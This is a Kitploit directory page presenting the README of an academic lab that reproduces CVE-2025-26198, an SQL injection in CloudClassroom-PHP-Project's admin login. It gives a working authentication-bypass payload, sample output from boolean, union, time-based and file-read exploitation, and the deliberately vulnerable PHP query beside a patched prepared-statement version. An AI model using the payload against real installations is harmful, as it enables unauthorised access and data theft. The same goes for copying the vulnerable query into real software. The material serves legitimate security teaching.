Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-26198 — Reproducción educativa de la inyección SQL CVE-2025-26198 en CloudClassroom-PHP-Project, que demuestra cuatro técnicas de explotación (booleana, unión, basada en tiempo y lectura de archivos) con comparación de la versión parcheada. | Kitploit
Herramientas/GitHubGitHub/wailyacoubi9/cve-2025-26198
Análisis de VulnerabilidadesExplotación de Aplicaciones WebPruebas de PenetraciónAutenticaciónAprendizaje y EducaciónSeguridad de Bases de Datos
GitHubwailyacoubi9/cve-2025-26198

CVE-2025-26198

Reproducción educativa de la inyección SQL CVE-2025-26198 en CloudClassroom-PHP-Project, que demuestra cuatro técnicas de explotación (booleana, unión, basada en tiempo y lectura de archivos) con comparación de la versión parcheada.

Ver Repositorio
1hace 7 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-26198 - Demostración de Inyección SQL

Proyecto académico ENSIMAG - Seguridad 3A
Autores: Wail Yacoubi, Mohammed-Yassine Akhmari
Fecha: Enero 2026


Advertencia

Este código es intencionalmente vulnerable con fines educativos.
Nunca desplegar en producción.


Descripción

Reproducción de CVE-2025-26198: Inyección SQL crítica en CloudClassroom-PHP-Project v1.0.

Características de la CVE:

  • Identificador: CVE-2025-26198
  • Puntuación CVSS: 9.8/10 (Crítica)
  • Tipo: Inyección SQL (CWE-89)
  • Componente vulnerable: loginlinkadmin.php
  • Impacto: Bypass de autenticación + extracción completa de la BBDD

Referencia oficial: https://nvd.nist.gov/vuln/detail/CVE-2025-26198


Objetivo

Demostrar 4 técnicas de explotación de Inyección SQL:

  1. Boolean-based - Bypass de autenticación
  2. Union-based - Extracción de datos
  3. Time-based Blind - Detección por retardo
  4. File Read - Lectura de archivos del sistema

Instalación

Requisitos previos

  • Docker y Docker Compose
  • Python 3.x
  • Instalar requests: pip install requests

Inicio

root@kitploit:~
# Cloner le repository
git clone <votre-repo>
cd CVE-2025-26198

# Lancer l'infrastructure
docker-compose up -d

# Attendre que MySQL soit prêt (30 secondes)
sleep 30

# Vérifier les containers
docker-compose ps

La aplicación es accesible en http://localhost:8081


Explotación

Método 1: Manual (navegador)

  1. Ir a http://localhost:8081

  2. Rellenar el formulario:

    • Username: admin' OR '1'='1'-- -
    • Password: anything
  3. Hacer clic en Login

Resultado: Conexión admin exitosa sin contraseña válida.

Explicación:

El payload transforma la consulta SQL:

root@kitploit:~
-- Requête normale
SELECT * FROM admin WHERE username='admin' AND password=MD5('test')

-- Requête avec injection
SELECT * FROM admin WHERE username='admin' OR '1'='1'-- -' AND password=MD5('test')

El OR '1'='1' siempre es verdadero, y -- - comenta el resto.


Método 2: Scripts Python

Script simple

root@kitploit:~
python exploit_simple.py http://localhost:8081

Salida esperada:

root@kitploit:~
CVE-2025-26198 - SQL Injection Exploit
==================================================
[*] Target: http://localhost:8081/loginlinkadmin.php
[*] Payload: admin' OR '1'='1'-- -
[+] Exploitation successful
[+] Status Code: 200

Script completo (4 técnicas)

root@kitploit:~
python exploit.py http://localhost:8081

Salida esperada:

root@kitploit:~
============================================================
  CVE-2025-26198 - SQL Injection Exploitation
============================================================

Test 1: Boolean-based Authentication Bypass
[+] Authentication bypass SUCCESSFUL
[+] Admin access obtained without valid credentials

Test 2: Union-based Data Extraction
[*] Detecting number of columns...
[+] Number of columns: 5
[+] Database name: cloudclassroom
[+] MySQL user: [email protected]
[+] MySQL version: 5.7.44
[+] Tables: admin,students
[+] Admin data:
    - admin:[email protected]
    - superadmin:[email protected]

Test 3: Time-based Blind SQL Injection
[*] Response time: 3.05 seconds
[+] Time-based injection CONFIRMED

Test 4: File Read via LOAD_FILE()
[+] File read SUCCESSFUL
[+] FILE privilege confirmed

EXPLOITATION SUMMARY
[✓] Boolean-based (Auth Bypass)
[✓] Union-based (Data Extraction)
[✓] Time-based (Blind Detection)
[✓] File Read (LOAD_FILE)

Versión parcheada

Probar la versión segura con prepared statements:

root@kitploit:~
# Activer la version patchée
mv app/loginlinkadmin.php app/loginlinkadmin_VULNERABLE.php
mv app/loginlinkadmin_PATCHED.php app/loginlinkadmin.php
docker-compose restart web
sleep 3

# Retester l'exploit
python exploit_simple.py http://localhost:8081

Resultado esperado:

root@kitploit:~
[-] Error: Connection aborted
[-] Exploitation failed

El ataque es bloqueado por la validación de entradas y los prepared statements.

Restaurar la versión vulnerable:

root@kitploit:~
mv app/loginlinkadmin.php app/loginlinkadmin_PATCHED.php
mv app/loginlinkadmin_VULNERABLE.php app/loginlinkadmin.php
docker-compose restart web

Comparación de versiones

AspectoVersión VulnerableVersión Parcheada
Consulta SQLConcatenación directaPrepared statement PDO
Validación de entradaNingunaRegex alfanumérico
Escape de salidaNohtmlspecialchars()
Inyección SQLExplotableBloqueado
RegistrosNingunoerror_log()

Código vulnerable:

root@kitploit:~
$sql = "SELECT * FROM admin WHERE username='$input_username' AND password=MD5('$input_password')";
$result = $conn->query($sql);

Código seguro:

root@kitploit:~
$stmt = $pdo->prepare("SELECT * FROM admin WHERE username = :username AND password = MD5(:password)");
$stmt->bindParam(':username', $input_username, PDO::PARAM_STR);
$stmt->bindParam(':password', $input_password, PDO::PARAM_STR);
$stmt->execute();

Estructura del proyecto

root@kitploit:~
CVE-2025-26198/
├── README.md
├── RAPPORT.md
├── docker-compose.yml
├── app/
│   ├── index.html
│   ├── loginlinkadmin.php          # Version vulnérable
│   ├── loginlinkadmin_PATCHED.php  # Version sécurisée
│   └── sql/
│       ├── init.sql
│       └── grant_file.sql
├── exploit.py
├── exploit_simple.py
└── screenshots/

Solución de problemas

El contenedor web no se inicia

root@kitploit:~
docker-compose logs web
docker-compose down
docker-compose up -d --build

El exploit no funciona

root@kitploit:~
# Vérifier MySQL
docker-compose exec db mysql -udbuser -pdbpassword -e "SELECT 1"

# Vérifier service web
curl http://localhost:8081

# Vérifier version active
head -n 2 app/loginlinkadmin.php

Puerto ya en uso

Modificar docker-compose.yml:

root@kitploit:~
ports:
  - "8082:80"

Documentación

Ver RAPPORT.md para el análisis detallado que incluye:

  • Mecanismo de la vulnerabilidad
  • Arquitectura del sistema
  • Recomendaciones de seguridad
  • Buenas prácticas de desarrollo

Referencias

  • CVE oficial: https://nvd.nist.gov/vuln/detail/CVE-2025-26198
  • Proyecto original: https://github.com/mathurvishal/CloudClassroom-PHP-Project
  • OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection
  • PHP PDO: https://www.php.net/manual/en/pdo.prepared-statements.php

Descargo de responsabilidad

Proyecto desarrollado únicamente con fines educativos en el marco del curso de ciberseguridad ENSIMAG.

Uso autorizado:

  • Aprendizaje y formación
  • Pruebas en entornos autorizados

Uso prohibido:

  • Ataques a sistemas reales
  • Uso malicioso

Cualquier uso fuera del ámbito académico está estrictamente prohibido y es ilegal.


Autores
Wail Yacoubi & Mohammed-Yassine Akhmari
ENSIMAG - Promoción 2026
Curso: Seguridad 3A

Descargar herramienta